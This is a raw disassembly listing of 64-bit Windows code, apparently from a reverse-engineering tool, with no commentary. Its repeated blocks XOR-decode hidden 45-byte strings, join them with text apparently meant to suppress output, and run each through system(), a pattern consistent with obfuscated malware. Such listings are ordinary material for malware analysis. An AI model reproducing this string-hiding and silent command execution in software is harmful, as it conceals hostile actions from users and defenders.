imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003fa80
mov r8, r10
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xd40]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xd20]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x490]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0xd00]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd00]
call fcn.140071c30
nop
lea rcx, [rbp + 0x490]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd20]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd40]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd60]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd80]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xe20]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xe00]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f64a8]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1400f64b8]
movups xmmword [rbp - 0x40], xmm1
movsd xmm0, qword [0x1400f64c8]
movsd qword [rbp - 0x30], xmm0
mov ecx, dword [0x1400f64d0]
mov dword [rbp - 0x28], ecx
movzx eax, byte [0x1400f64d4]
mov byte [rbp - 0x24], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003fcdb
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp - 0x4c]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003fbf0
cmp r8d, 0x2d
jge 0x14003fd20
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003fcf0
mov r8, r10
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xde0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xdc0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x4b0]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0xda0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xda0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x4b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xdc0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xde0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe00]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe20]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xec0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xea0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f8f90]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400f8fa0]
movups xmmword [rbp - 0x70], xmm1
movsd xmm0, qword [0x1400f8fb0]
movsd qword [rbp - 0x60], xmm0
mov ecx, dword [str.A2YDe]
mov dword [rbp - 0x58], ecx
movzx eax, byte [0x1400f8fbc]
mov byte [rbp - 0x54], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003ff4b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003fe60
cmp r8d, 0x2d
jge 0x14003ff90
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003ff60
mov r8, r10
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe80]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xe60]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x4d0]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0xe40]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xe40]
call fcn.140071c30
nop
lea rcx, [rbp + 0x4d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe60]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe80]
call fcn.140071c30
nop
lea rcx, [rbp + 0xea0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xec0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xf60]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xf40]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f76e8]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [0x1400f76f8]
movups xmmword [rbp + 0x260], xmm1
movsd xmm0, qword [0x1400f7708]
movsd qword [rbp + 0x270], xmm0
mov ecx, dword [str.A3YDe]
mov dword [rbp + 0x278], ecx
movzx eax, byte [0x1400f7714]
mov byte [rbp + 0x27c], al
mov r8d, r14d
cmp r15d, 2
jl 0x1400401cb
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x254]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400400e0
cmp r8d, 0x2d
jge 0x140040210
movsxd rax, r8d
lea r9, [rbp + 0x250]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400401e0
mov r8, r10
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xf20]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x4f0]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0xee0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xee0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x4f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf00]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf20]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf40]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf60]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1000]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xfe0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f6cc0]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [0x1400f6cd0]
movups xmmword [rbp + 0x290], xmm1
movsd xmm0, qword [0x1400f6ce0]
movsd qword [rbp + 0x2a0], xmm0
mov ecx, dword [str.A0YDe]
mov dword [rbp + 0x2a8], ecx
movzx eax, byte [0x1400f6cec]
mov byte [rbp + 0x2ac], al
mov r8d, r14d
cmp r15d, 2
jl 0x14004044b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x284]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040360
cmp r8d, 0x2d
jge 0x140040490
movsxd rax, r8d
lea r9, [rbp + 0x280]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040460
mov r8, r10
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0xfc0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xfa0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x510]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0xf80]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf80]
call fcn.140071c30
nop
lea rcx, [rbp + 0x510]
call fcn.140071c30
nop
lea rcx, [rbp + 0xfa0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xfc0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xfe0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1000]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x10a0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1080]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f6c90]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [0x1400f6ca0]
movups xmmword [rbp + 0x2c0], xmm1
movsd xmm0, qword [0x1400f6cb0]
movsd qword [rbp + 0x2d0], xmm0
mov ecx, dword [str.A1YDe]
mov dword [rbp + 0x2d8], ecx
movzx eax, byte [0x1400f6cbc]
mov byte [rbp + 0x2dc], al
mov r8d, r14d
cmp r15d, 2
jl 0x1400406cb
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x2b4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400405e0
cmp r8d, 0x2d
jge 0x140040710
movsxd rax, r8d
lea r9, [rbp + 0x2b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400406e0
mov r8, r10
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x1060]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1040]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x530]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x1020]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1020]
call fcn.140071c30
nop
lea rcx, [rbp + 0x530]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1040]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1060]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1080]
call fcn.140071c30
nop
lea rcx, [rbp + 0x10a0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1140]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1120]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f7010]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [0x1400f7020]
movups xmmword [rbp + 0x230], xmm1
movsd xmm0, qword [0x1400f7030]
movsd qword [rbp + 0x240], xmm0
mov ecx, dword [str.A6YDe]
mov dword [rbp + 0x248], ecx
movzx eax, byte [0x1400f703c]
mov byte [rbp + 0x24c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14004094b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x224]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040860
cmp r8d, 0x2d
jge 0x140040990
movsxd rax, r8d
lea r9, [rbp + 0x220]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040960
mov r8, r10
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x1100]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x10e0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x550]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x10c0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x10c0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x550]
call fcn.140071c30
nop
lea rcx, [rbp + 0x10e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1100]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1120]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1140]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x590]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x11c0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f90c0]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [0x1400f90d0]
movups xmmword [rbp + 0x2f0], xmm1
movsd xmm0, qword [0x1400f90e0]
movsd qword [rbp + 0x300], xmm0
mov ecx, dword [str.A7YDe]
mov dword [rbp + 0x308], ecx
movzx eax, byte [0x1400f90ec]
mov byte [rbp + 0x30c], al
mov r8d, r14d
cmp r15d, 2
jl 0x140040bcb
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x2e4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040ae0
cmp r8d, 0x2d
jge 0x140040c10
movsxd rax, r8d
lea r9, [rbp + 0x2e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040be0
mov r8, r10
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x11a0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1180]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x610]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x1160]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1160]
call fcn.140071c30
nop
lea rcx, [rbp + 0x610]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1180]
call fcn.140071c30
nop
lea rcx, [rbp + 0x11a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x11c0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x590]
call fcn.140071c30
lea rcx, [rbp + 0x590]
call fcn.140001ae0
mov edx, 4
lea rcx, [rbp + 0x1280]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1260]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1848]
lea rcx, [rbp + 0x3780]
call fcn.14004b350
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140040e70
mov r8d, r14d
cmp r15d, 2
jl 0x140040e2b
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040d40
cmp r8d, 0x2d
jge 0x140040e70
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040e40
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1240]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1220]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x11e0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
